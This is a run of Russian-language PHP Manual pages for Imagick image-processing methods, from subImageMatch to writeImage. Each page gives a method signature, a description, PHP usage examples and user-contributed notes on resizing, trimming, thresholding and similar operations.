Выполняет поиск фрагмента изображения в текущем изображении и возвращает второстепенное изображение, в котором точное совпадение является полностью белым, а если ни один из пикселей не совпадает — чёрным, в противном случае - некоторым промежуточным уровнем серого. Вы также можете передать необязательные параметры bestMatch и similarity. После вызова функции similarity будет установлено на "score" сходства между второстепенным изображением и соответствующей позицией на большом изображении, bestMatch будет содержать ассоциативный массив с элементами x, y, width, height, которые описывают совпадающую область.

Список параметров

Imagick

offset

similarity

Новое изображение, отображающее степень сходства в каждом пикселе.

Возвращаемые значения

Примеры

Пример #1 Пример использования Imagick::subImageMatch()

<?php
function subImageMatch($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick2 = clone $imagick;
$imagick2->cropimage(40, 40, 250, 110);
$imagick2->vignetteimage(0, 1, 3, 3);

$similarity = null;
$bestMatch = null;
$comparison = $imagick->subImageMatch($imagick2, $bestMatch, $similarity);

$comparison->setImageFormat('png');
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

inipel at ya dot ru 31-Aug-2021 12:01
After $ im->cropImage method, $ im->subImageMatch doesn't work, before using $ im->subImageMatch, use $ im->setImagePage(0, 0, 0, 0);

The sequence is as follows:
$ im->cropImage();
$ im->setImagePage (0, 0, 0, 0);
$ im->subImageMatch()


Закручивает пиксели вокруг центра изображения

  • « Imagick::subImageMatch
  • Imagick::textureImage »
  • PHP Manual
  • Imagick
  • Закручивает пиксели вокруг центра изображения

Imagick::swirlImage

(PECL imagick 2, PECL imagick 3)

Imagick::swirlImage — Закручивает пиксели вокруг центра изображения

Описание

Imagick::swirlImage(float $degrees): bool

Закручивает пиксели вокруг центра изображения, где градусы указывают размах дуги, по которой перемещается каждый пиксель. Вы получаете более драматический эффект, когда градусы перемещаются от 1 до 360.

Список параметров

degrees

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::swirlImage()

<?php
function swirlImage($imagePath, $swirl) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->swirlImage($swirl);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 05-Nov-2009 08:47
<?php

$img = new Imagick('blablabla.jpg');
$img->swirlImage ( 20.0 );
header("Content-Type: image/jpeg");
echo $img;

?>


Многократно размещает изображение текстуры

  • « Imagick::swirlImage
  • Imagick::thresholdImage »
  • PHP Manual
  • Imagick
  • Многократно размещает изображение текстуры

Imagick::textureImage

(PECL imagick 2, PECL imagick 3)

Imagick::textureImage — Многократно размещает изображение текстуры

Описание

Imagick::textureImage(Imagick $texture_wand): Imagick

Многократно размещает изображение текстуры поперёк и вниз по холсту изображения.

Список параметров

texture_wand

Объект Imagick для использования в качестве изображения текстуры.

Возвращаемые значения

Возвращает новый объект Imagick, к которому применена повторяющаяся текстура.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::textureImage()

<?php
function textureImage($imagePath) {
$image = new \Imagick();
$image->newImage(640, 480, new \ImagickPixel('pink'));
$image->setImageFormat("jpg");
$texture = new \Imagick(realpath($imagePath));
$texture->scaleimage($image->getimagewidth() / 4, $image->getimageheight() / 4);
$image = $image->textureImage($texture);
header("Content-Type: image/jpg");
echo $image;
}

?>

User Contributed Notes

Dirk 13-Jan-2014 03:56
This method doesn't actually return TRUE on success, it returns an Imagick with the texture applied, but the original Imagick object is not modified. As per the other examples on here, you need to use the result of textureImage call as your new tiled image.
truthseekercz at email dot cz 08-Sep-2010 05:41
<?php

$image = new Imagick();
$image->newImage(500, 500, new ImagickPixel('red'));
$image->setImageFormat("png");
$type=$image->getFormat();
header("Content-type: $type");

$texture = new Imagick();
$texture->readImage('texture.png');
$image = $image->textureImage($texture);

echo $image;

?>

This works for me, however, I give no guarantees that the above example is the proper usage of this function.


Изменяет отдельные пиксели на основе порогового значения

  • « Imagick::textureImage
  • Imagick::thumbnailImage »
  • PHP Manual
  • Imagick
  • Изменяет отдельные пиксели на основе порогового значения

Imagick::thresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::thresholdImage — Изменяет отдельные пиксели на основе порогового значения

Описание

public Imagick::thresholdImage(float $threshold, int $channel = Imagick::CHANNEL_DEFAULT): bool

Изменяет отдельные пиксели в зависимости от их интенсивности по сравнению с пороговым значением. Результатом будет высоко-контрастное, двухцветное изображение.

Список параметров

threshold

channel

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::thresholdImage()

<?php
function thresholdimage($imagePath, $threshold, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->thresholdimage($threshold * \Imagick::getQuantum(), $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

php t traction dot de 29-Jun-2012 07:25
getQuantumRange() can be handy here:

<?php
$i = new Imagick($imageFile);
$max = $i->getQuantumRange();
$max = $max["quantumRangeLong"];
$i->thresholdImage(0.77 * $max);
?>


Изменяет размер изображения

  • « Imagick::thresholdImage
  • Imagick::tintImage »
  • PHP Manual
  • Imagick
  • Изменяет размер изображения

Imagick::thumbnailImage

(PECL imagick 2, PECL imagick 3)

Imagick::thumbnailImage — Изменяет размер изображения

Описание

public Imagick::thumbnailImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $fill = false,
bool $legacy = false
): bool

Изменяет размер изображения до заданных размеров и удаляет все связанные профили. Цель состоит в том, чтобы создавать миниатюры изображений, подходящие для отображения в Интернете. Если в качестве третьего параметра установлено значение true, тогда параметры столбцов и строк используются как максимальные для каждой стороны. Обе стороны будут уменьшены до тех пор, пока они не станут равными или меньше, чем параметр, указанный для стороны.

Замечание: Поведение параметра bestfit было изменено в Imagick 3.0.0. До этой версии при изменении изображения размером 200x150 до 400x300 никаких операций не происходило. В Imagick 3.0.0 и далее изображение будет масштабировано до размеров 400x300, так как это наилучшим образом соответствует ("best fit") данным размерам. Если используется параметр bestfit, то ширина и высота также должны быть определены.

Список параметров

columns

Ширина изображения.

rows

Высота изображения.

bestfit

Определяет, следует ли принудительно устанавливать максимальные значения.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::thumbnailImage()

<?php
function thumbnailImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setbackgroundcolor('rgb(64, 64, 64)');
$imagick->thumbnailImage(100, 100, true, true);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 14-Apr-2012 08:35
If the 3rd parameter is true, the image will be resized in such a way that it'll be contained within the dimensions mentioned.
It's like changing the dimensions of the image so that it can be contained in a box of given dimension.

Eg: Image's dimension is 1600*800. If we use thumbnailImage(400, 400, true), the new image's dimension will be 400*200.

Some of the previous notes in this page mentions that the image is resized proportionally so that its _smallest_ dimension matches the width or height specified, NOT both.
But this is not the case now. Both width & height of the image will be <= that mentioned in thumbnailImage().
Maybe imagick changed/updated the functionality.
web at johnbaldock dot com 21-Mar-2012 07:25
When shrinking a jpg you can get more then double the performance if you use <?php $image->setOption('jpeg:size', '800x532') ?>, exchanging 800x532 to the resolution you want the final image to be. For instance instead of this:

<?php
$image = new Imagick('foo.jpg');
?>

You would use this:

<?php
$image = new Imagick();
$image->setOption('jpeg:size', '800x532');
$image->readImage('foo.jpg');
?>
jarrod at jarrodchristman dot com 29-Oct-2011 08:31
Even though thumbnailImage is meant to produce the smallest file size image possible, i found it didn't. I put together this code and bordering different compression settings, found it produced the smallest file size:

<?php
// Max vert or horiz resolution
$maxsize=550;

// create new Imagick object
$image = new Imagick('input_image_filename_and_location');

// Resizes to whichever is larger, width or height
if($image->getImageHeight() <= $image->getImageWidth())
{
// Resize image using the lanczos resampling algorithm based on width
$image->resizeImage($maxsize,0,Imagick::FILTER_LANCZOS,1);
}
else
{
// Resize image using the lanczos resampling algorithm based on height
$image->resizeImage(0,$maxsize,Imagick::FILTER_LANCZOS,1);
}

// Set to use jpeg compression
$image->setImageCompression(Imagick::COMPRESSION_JPEG);
// Set compression level (1 lowest quality, 100 highest quality)
$image->setImageCompressionQuality(75);
// Strip out unneeded meta data
$image->stripImage();
// Writes resultant image to output directory
$image->writeImage('output_image_filename_and_location');
// Destroys Imagick object, freeing allocated resources in the process
$image->destroy();

?>

I found setCompression to not function at all and had to use setImageCompression. The stripImage call is needed and strips out unneeded meta data. You can choose whatever filter you want, but i found lanczos to be the best for image reduction, though it is more computationally heavy.
Anonymous 02-Jul-2008 04:15
Here is a function to calculate the new dimensions of a thumbnail, to fit within the given dimensions on both sides.

<?php
/**
 * Calculate new image dimensions to new constraints
 *
 * @param Original X size in pixels
 * @param Original Y size in pixels
 * @return New X maximum size in pixels
 * @return New Y maximum size in pixels
 */
function scaleImage($x,$y,$cx,$cy) {
    //Set the default NEW values to be the old, in case it doesn't even need scaling
    list($nx,$ny)=array($x,$y);

    //If image is generally smaller, don't even bother
    if ($x>=$cx || $y>=$cx) {

        //Work out ratios
        if ($x>0) $rx=$cx/$x;
        if ($y>0) $ry=$cy/$y;

        //Use the lowest ratio, to ensure we don't go over the wanted image size
        if ($rx>$ry) {
            $r=$ry;
        } else {
            $r=$rx;
        }

        //Calculate the new size based on the chosen ratio
        $nx=intval($x*$r);
        $ny=intval($y*$r);
    }

    //Return the results
    return array($nx,$ny);
}
?>

Use it like this:

<?php
//Read original image and create Imagick object
$thumb=new Imagick($originalImageFilename);

//Work out new dimensions
list($newX,$newY)=scaleImage(
        $thumb->getImageWidth(),
        $thumb->getImageHeight(),
        $newMaximumWidth,
        $newMaximumHeight);

//Scale the image
$thumb->thumbnailImage($newX,$newY);

//Write the new image to a file
$thumb->writeImage($thumbnailFilename);
?>
n-sw-bit at ya dot ru 09-Jun-2008 09:48
If you want to resize your picture to fit smallest parameter:

$fitbyWidth = (($maxWidth/$w)<($maxHeight/$h)) ?true:false;

if($fitbyWidth){
    $im->thumbnailImage($maxWidth, 0, false);
}else{
    $im->thumbnailImage(0, $maxHeight, false);
}
sgarner at expio dot co dot nz 16-Oct-2007 10:11
With $fit == true, the image is resized proportionally so that its _smallest_ dimension matches the width or height specified, NOT both.

For example, if you say thumbnailImage(400, 400, true), on an image of 1600x800, it will be resized to 800x400, NOT 400x200 as you might expect.

The solution is to compare the original image's dimensions to the specified dimensions, and substitute zero for the smaller dimension, and set $fit = false.

i.e.: thumbnailImage(400, 0, false) would resize that 1600x800 image to 400x200.
raybdbomb . gmail 10-Sep-2007 04:18
As noted here
http://php.net/manual/en/ref.imagick.php
With either of the params as 0, the aspect ratio is maintained.


Применяет вектор цвета к каждому пикселю изображения

  • « Imagick::thumbnailImage
  • Imagick::__toString »
  • PHP Manual
  • Imagick
  • Применяет вектор цвета к каждому пикселю изображения

Imagick::tintImage

(PECL imagick 2, PECL imagick 3)

Imagick::tintImage — Применяет вектор цвета к каждому пикселю изображения

Описание

public Imagick::tintImage(mixed $tint, mixed $opacity, bool $legacy = false): bool

Применяет вектор цвета к каждому пикселю изображения. Длина вектора равна 0 для чёрного и белого и максимальная длина для полутонов. Функция векторного взвешивания: f(x)=(1-(4.0*((x-0.5)*(x-0.5)))).

Список параметров

tint

opacity

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь разрешает строку, представляющую цвет, в качестве первого параметра и число с плавающей точкой, представляющее значение непрозрачности, в качестве второго параметра. Предыдущие версии допускали только объекты ImagickPixel.

Примеры

Пример #1 Пример использования Imagick::tintImage()

<?php
function tintImage($r, $g, $b, $a) {
$a = $a / 100;

$imagick = new \Imagick();
$imagick->newPseudoImage(400, 400, 'gradient:black-white');

$tint = new \ImagickPixel("rgb($r, $g, $b)");
$opacity = new \ImagickPixel("rgb(128, 128, 128, $a)");
$imagick->tintImage($tint, $opacity);
$imagick->setImageFormat('png');
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает изображение в виде строки

  • « Imagick::tintImage
  • Imagick::transformImage »
  • PHP Manual
  • Imagick
  • Возвращает изображение в виде строки

Imagick::__toString

(PECL imagick 2, PECL imagick 3)

Imagick::__toString — Возвращает изображение в виде строки

Описание

public Imagick::__toString(): string

Возвращает текущее изображение в виде строки. Вернёт только одно изображение; Метод не должен использоваться для объектов Imagick, которые содержат несколько изображений, например анимированный GIF или PDF с несколькими страницами.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает содержимое строки в случае успешного выполнения или пустую строку в случае возникновения ошибки.

Смотрите также

  • Imagick::getImageBlob() - Возвращает последовательность изображений в виде BLOB
  • Imagick::getImagesBlob() - Возвращает все последовательности изображений в виде большого двоичного объекта

User Contributed Notes

There are no user contributed notes for this page.


Удобный метод настройки размера кадрирования и геометрии изображения

  • « Imagick::__toString
  • Imagick::transformImageColorspace »
  • PHP Manual
  • Imagick
  • Удобный метод настройки размера кадрирования и геометрии изображения

Imagick::transformImage

(PECL imagick 2, PECL imagick 3)

Imagick::transformImage — Удобный метод настройки размера кадрирования и геометрии изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::transformImage(string $crop, string $geometry): Imagick

Удобный метод настройки размера кадрирования и геометрии изображения из строк. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

crop

Строка геометрии обрезки. Геометрия определяет подобласть изображения для обрезки.

geometry

Строка геометрии изображения. Геометрия определяет окончательный размер изображения.

Возвращаемые значения

Возвращает объект Imagick, содержащий преобразованное изображение.

Примеры

Пример #1 Пример использования Imagick::transformImage():

В примере создаётся чёрное изображение размером 100x100.

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");
$new_image = $image->transformImage("100x100", "100x100");
$new_image->writeImage('test_out.jpg');
?>

Смотрите также

  • Imagick::cropImage() - Извлекает область изображения
  • Imagick::resizeImage() - Масштабирует изображение
  • Imagick::thumbnailImage() - Изменяет размер изображения

User Contributed Notes

There are no user contributed notes for this page.


Преобразует изображение в новое цветовое пространство

  • « Imagick::transformImage
  • Imagick::transparentPaintImage »
  • PHP Manual
  • Imagick
  • Преобразует изображение в новое цветовое пространство

Imagick::transformImageColorspace

(PECL imagick 3)

Imagick::transformImageColorspace — Преобразует изображение в новое цветовое пространство

Описание

public Imagick::transformImageColorspace(int $colorspace): bool

Преобразует изображение в новое цветовое пространство.

Список параметров

colorspace

Цветовое пространство, в которое должно быть преобразовано изображение, одна изконстант COLORSPACE, например, Imagick::COLORSPACE_CMYK.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::transformImageColorspace()

Преобразует изображение в новое цветовое пространство, а затем извлекает отдельный канал, чтобы можно было просмотреть значения отдельных каналов.

<?php
function transformImageColorspace($imagePath, $colorSpace, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->transformimagecolorspace($colorSpace);
//канал должен быть одной из констант канала, например \Imagick::CHANNEL_BLUE
$imagick->separateImageChannel($channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}
?>

Смотрите также

  • Imagick::setColorSpace() - Устанавливает цветовое пространство

User Contributed Notes

A.Ross 15-Apr-2015 07:31
This SO question and answer might help clarify why transformImageColorspace is useful: http://stackoverflow.com/questions/29296779/convert-pdf-with-transparency-and-cmyk-to-jpg

Also, there's a Github issue here that explains the difference between transformImageColorspace and setImageColorspace: https://github.com/rmagick/rmagick/pull/75


Рисует пиксели прозрачными

  • « Imagick::transformImageColorspace
  • Imagick::transposeImage »
  • PHP Manual
  • Imagick
  • Рисует пиксели прозрачными

Imagick::transparentPaintImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::transparentPaintImage — Рисует пиксели прозрачными

Описание

public Imagick::transparentPaintImage(
mixed $target,
float $alpha,
float $fuzz,
bool $invert
): bool

Рисует пиксели, соответствующие целевому цвету, прозрачным. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.8 или старше.

Список параметров

target

Целевой цвет для рисования

alpha

Уровень прозрачности: 1.0 полностью непрозрачный, тогда как 0.0 полностью прозрачен.

fuzz

Мера округления (fuzz). Для примера, установите значение fuzz в 10 и красный цвет с интенсивностью 100 и 102 будет интерпретироваться как один и тот же цвет.

invert

Если true, закрашивает любой пиксель, который не соответствует целевому цвету.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::transparentPaintImage()

<?php
function transparentPaintImage($color, $alpha, $fuzz) {
$imagick = new \Imagick(realpath("images/BlueScreen.jpg"));

//Должен быть в формате, который поддерживает прозрачность
$imagick->setimageformat('png');

$imagick->transparentPaintImage(
$color, $alpha, $fuzz * \Imagick::getQuantum(), false
);

//Не требуется, но помогает убирать оставленные пиксели
$imagick->despeckleimage();

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт вертикальное зеркальное отображение

  • « Imagick::transparentPaintImage
  • Imagick::transverseImage »
  • PHP Manual
  • Imagick
  • Создаёт вертикальное зеркальное отображение

Imagick::transposeImage

(PECL imagick 2, PECL imagick 3)

Imagick::transposeImage — Создаёт вертикальное зеркальное отображение

Описание

public Imagick::transposeImage(): bool

Создаёт вертикальное зеркальное изображение, отражая пиксели вокруг центральной оси X, поворачивая их на 90 градусов. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::transposeImage()

<?php
function transposeImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->transposeImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

Смотрите также

  • Imagick::transverseImage() - Создаёт горизонтальное зеркальное отображение

User Contributed Notes

There are no user contributed notes for this page.


Создаёт горизонтальное зеркальное отображение

  • « Imagick::transposeImage
  • Imagick::trimImage »
  • PHP Manual
  • Imagick
  • Создаёт горизонтальное зеркальное отображение

Imagick::transverseImage

(PECL imagick 2, PECL imagick 3)

Imagick::transverseImage — Создаёт горизонтальное зеркальное отображение

Описание

public Imagick::transverseImage(): bool

Создаёт горизонтальное зеркальное изображение, отражая пиксели вокруг центральной оси Y, поворачивая их на 270 градусов. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::transverseImage()

<?php
function transverseImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->transverseImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

Смотрите также

  • Imagick::transposeImage() - Создаёт вертикальное зеркальное отображение

User Contributed Notes

There are no user contributed notes for this page.


Удаляет края с изображения

  • « Imagick::transverseImage
  • Imagick::uniqueImageColors »
  • PHP Manual
  • Imagick
  • Удаляет края с изображения

Imagick::trimImage

(PECL imagick 2, PECL imagick 3)

Imagick::trimImage — Удаляет края с изображения

Описание

public Imagick::trimImage(float $fuzz): bool

Удаляет края, которые являются цветом фона с изображения. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

fuzz

По умолчанию цель должна точно соответствовать определённому цвету пикселя. Однако во многих случаях два цвета могут незначительно отличаться. Размытый элемент изображения определяет, насколько допустимо, чтобы два цвета считались одинаковыми. Этот параметр представляет собой изменение квантового диапазона.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::trimImage():

Обрежьте изображение, затем отобразите в браузере.

<?php
/* Создайте объект и прочитайте изображение в */
$im = new Imagick("image.jpg");

/* Обрежьте изображение. */
$im->trimImage(0);

/* Выведите изображение */
header("Content-Type: image/" . $im->getImageFormat());
echo $im;
?>

Смотрите также

  • Imagick::getQuantumDepth() - Возвращает величину глубины
  • Imagick::getQuantumRange() - Возвращает величину размера спектра Imagick
  • imagecropauto() - Обрезает изображение автоматически, используя один из доступных режимов

User Contributed Notes

tamucola 20-Sep-2021 04:31
fuzz needs getQuantum
/**
 * @param string $imagePath
 * @param float  $fuzz 0.1=10%
 * @return bool
 * @throws ImagickException
 */
public static function trimImage($imagePath, $fuzz = 0.1)
{
    if (empty($imagePath)) {
        return false;
    }
    $imagePath = realpath($imagePath);
    if (!is_file($imagePath)) {
        return false;
    }
    if (!class_exists('Imagick')) {
        return false;
    }
    $im = new Imagick($imagePath);
    $result = $im->trimImage($fuzz * $im::getQuantum());
    if (!$result) {
        return false;
    }

    return $im->writeImage($imagePath);
}
Kirsty Forrester 08-Feb-2013 11:17
The command for trim can return info which tells you the coordinates of where the image was cropped and the new dimensions of the trimmed image. I couldn't find an example for how to do that with this class, so here's how I did it:

<?php

// Create and trim image
$image = new Imagick('image.png');
$image->trimImage(0.3);

/**
* Imagick:: getImagePage() gives us an array with the width, height, x and y coordinates of the trimmed image
* However, the width and height are of the original image
*/
$imagePage = $image->getImagePage();
list($x, $y) = array($imagePage['x'], $imagePage['y']);

// So we need to reset the image page to get the right height and width of the trimmed image
$image->setImagePage(0, 0, 0, 0);
list($width, $height) = array($image->width, $image->height);

?>

This will leave you with two variables for the width and height of the trimmed image, plus two variables for the x-coordinate and y-coordinate of the trimmed area relative to the original image.

This information is useful when the image you're trimming is the difference between two images (e.g. from Imagick::compareImages(), and you want to crop the original image to the same size and position as the difference.
dhp 23-Apr-2009 04:31
After operations that change the crop of the image, like trimImage does, IM preserves the old canvas and positioning info. If you need to do additional operations on the image based on the new size, you'll need to reset this info with setImagePage. This is the equivalent of the +repage command line argument.

<?php
$im->trimImage(0);
$im->setImagePage(0, 0, 0, 0);
?>
Mark van der Velden 06-Dec-2007 01:35
This method requires ImageMagick version >= 6.2.8


Отбрасывает всё, кроме одного, любого цвета пикселя

  • « Imagick::trimImage
  • Imagick::unsharpMaskImage »
  • PHP Manual
  • Imagick
  • Отбрасывает всё, кроме одного, любого цвета пикселя

Imagick::uniqueImageColors

(PECL imagick 2,PECL imagick 3)

Imagick::uniqueImageColors — Отбрасывает всё, кроме одного, любого цвета пикселя

Описание

public Imagick::uniqueImageColors(): bool

Отбрасывает всё, кроме одного, любого цвета пикселя. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::uniqueImageColors()

<?php
function uniqueImageColors($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
//Reduce the image to 256 colours nicely.
$imagick->quantizeImage(256, \Imagick::COLORSPACE_YIQ, 0, false, false);
$imagick->uniqueImageColors();
$imagick->scaleimage($imagick->getImageWidth(), $imagick->getImageHeight() * 20);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Резкость изображения

  • « Imagick::uniqueImageColors
  • Imagick::valid »
  • PHP Manual
  • Imagick
  • Резкость изображения

Imagick::unsharpMaskImage

(PECL imagick 2, PECL imagick 3)

Imagick::unsharpMaskImage — Резкость изображения

Описание

public Imagick::unsharpMaskImage(
float $radius,
float $sigma,
float $amount,
float $threshold,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Резкость изображения. Мы сворачиваем изображение с помощью гауссовского оператора заданного радиуса и стандартного отклонения (сигма). Для получения разумных результатов радиус должен быть больше сигмы. Укажите радиус 0, чтобы Imagick::UnsharpMaskImage() задал подходящий радиус автоматически.

Список параметров

radius

sigma

amount

threshold

channel

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::unsharpMaskImage()

<?php
function unsharpMaskImage($imagePath, $radius, $sigma, $amount, $unsharpThreshold) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->unsharpMaskImage($radius, $sigma, $amount, $unsharpThreshold);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 24-Feb-2009 08:00
Prepare photo for web

<?php
$im = new Imagick($SrcFile);

$im->resizeImage ( $Width, $Height , Imagick::FILTER_QUADRATIC , 1 );

$im->normalizeImage();
$im->unsharpMaskImage(0 , 0.5 , 1 , 0.05);

$im->setImageFormat( "jpg" );
$im->setCompressionQuality(75);

$im->writeImage( $OutFile );

$im->removeImage();
?>


Проверяет, является ли текущий элемент корректным

  • « Imagick::unsharpMaskImage
  • Imagick::vignetteImage »
  • PHP Manual
  • Imagick
  • Проверяет, является ли текущий элемент корректным

Imagick::valid

(PECL imagick 2, PECL imagick 3)

Imagick::valid — Проверяет, является ли текущий элемент корректным

Описание

public Imagick::valid(): bool

Проверяет, является ли текущий элемент корректным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

hyrumt at mediarain dot com 11-Feb-2010 11:01
We found this method to be of value when checking most image file types. However, it does not appear to be rigorous enough to detect corrupt jpg files. We use the following for jpgs and validate() for everything else.

<?php
    // check for the existence of the EOI segment header at the end of the file
    if (0 !== fseek($file, -2, SEEK_END) || "\xFF\xD9" !== fread($file, 2)) {
        fclose($file);
        return FALSE;
    }
?>


Добавляет виньетный фильтр к изображению

  • « Imagick::valid
  • Imagick::waveImage »
  • PHP Manual
  • Imagick
  • Добавляет виньетный фильтр к изображению

Imagick::vignetteImage

(PECL imagick 2, PECL imagick 3)

Imagick::vignetteImage — Добавляет виньетный фильтр к изображению

Описание

public Imagick::vignetteImage(
float $blackPoint,
float $whitePoint,
int $x,
int $y
): bool

Смягчает края изображения в стиле виньетки. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

blackPoint

Чёрная точка

whitePoint

Белая точка

x

Смещение эллипса по оси X

y

Смещение эллипса по оси Y

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::vignetteImage()

<?php
function vignetteImage($imagePath, $blackPoint, $whitePoint, $x, $y) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->vignetteImage($blackPoint, $whitePoint, $x, $y);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

Смотрите также

  • Imagick::waveImage() - Применяет волновой фильтр к изображению
  • Imagick::swirlImage() - Закручивает пиксели вокруг центра изображения

User Contributed Notes

There are no user contributed notes for this page.


Применяет волновой фильтр к изображению

  • « Imagick::vignetteImage
  • Imagick::whiteThresholdImage »
  • PHP Manual
  • Imagick
  • Применяет волновой фильтр к изображению

Imagick::waveImage

(PECL imagick 2, PECL imagick 3)

Imagick::waveImage — Применяет волновой фильтр к изображению

Описание

public Imagick::waveImage(float $amplitude, float $length): bool

Применяет волновой фильтр к изображению. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

amplitude

Амплитуда волны.

length

Длина волны.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 WaveImage может быть довольно медленным Imagick::waveImage()

<?php
function waveImage($imagePath, $amplitude, $length) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->waveImage($amplitude, $length);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

Смотрите также

  • Imagick::solarizeImage() - Применяет к изображению эффект соляризации
  • Imagick::oilpaintImage() - Имитирует картину маслом
  • Imagick::embossImage() - Возвращает изображение в градациях серого с трёхмерным эффектом
  • Imagick::addNoiseImage() - Накладывает случайный шум на изображение
  • Imagick::swirlImage() - Закручивает пиксели вокруг центра изображения

User Contributed Notes

There are no user contributed notes for this page.


Закрашивает все пиксели выше порога в белый

  • « Imagick::waveImage
  • Imagick::writeImage »
  • PHP Manual
  • Imagick
  • Закрашивает все пиксели выше порога в белый

Imagick::whiteThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::whiteThresholdImage — Закрашивает все пиксели выше порога в белый

Описание

public Imagick::whiteThresholdImage(mixed $threshold): bool

Похож на Imagick::ThresholdImage(), но закрашивает все пиксели выше порога в белый цвет, оставляя все пиксели ниже порога без изменений.

Список параметров

threshold

Возвращаемые значения

В случае успешной работы возвращает true.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь разрешается передавать строку, представляющую цвет в качестве параметра. Предыдущие версии допускают только объект ImagickPixel.

Примеры

Пример #1 Пример использования Imagick::whiteThresholdImage()

<?php
function whiteThresholdImage($imagePath, $color) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->whiteThresholdImage($color);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

elmer at web-axis dot net 30-Nov-2008 03:32
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->whiteThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


Записывает изображение по указанному имени файла

  • « Imagick::whiteThresholdImage
  • Imagick::writeImageFile »
  • PHP Manual
  • Imagick
  • Записывает изображение по указанному имени файла

Imagick::writeImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImage — Записывает изображение по указанному имени файла

Описание

public Imagick::writeImage(string $filename = NULL): bool

Записывает изображение в указанное имя файла. Если параметр имени файла равен NULL, изображение записывается в имя файла, установленное с помощью Imagick::readImage() или Imagick::setImageFilename().

Список параметров

filename

